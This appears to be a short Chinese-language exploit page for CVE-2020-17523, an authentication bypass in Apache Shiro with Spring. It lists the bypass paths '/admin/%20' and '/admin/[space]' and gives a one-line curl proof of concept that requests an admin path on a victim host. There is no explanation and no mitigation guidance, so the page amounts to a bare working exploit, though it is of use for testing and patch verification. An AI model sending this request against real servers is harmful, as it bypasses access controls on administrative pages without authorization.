CVE-2020-17523_Apache_Shiro_pathMatches_身份認證繞過漏洞_zh-tw

2021年7月15日发布

0130

# CVE-2020-17523 Apache Shiro pathMatches 身份認證繞過漏洞/zh-tw

==條件==

Shiro with Spring


/admin/[space]
/admin/%20

==POC==

curl -v http://[Vimtim]/admin/%20/

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容

1致远OA checkComponentFile后台反序列化任意命令执行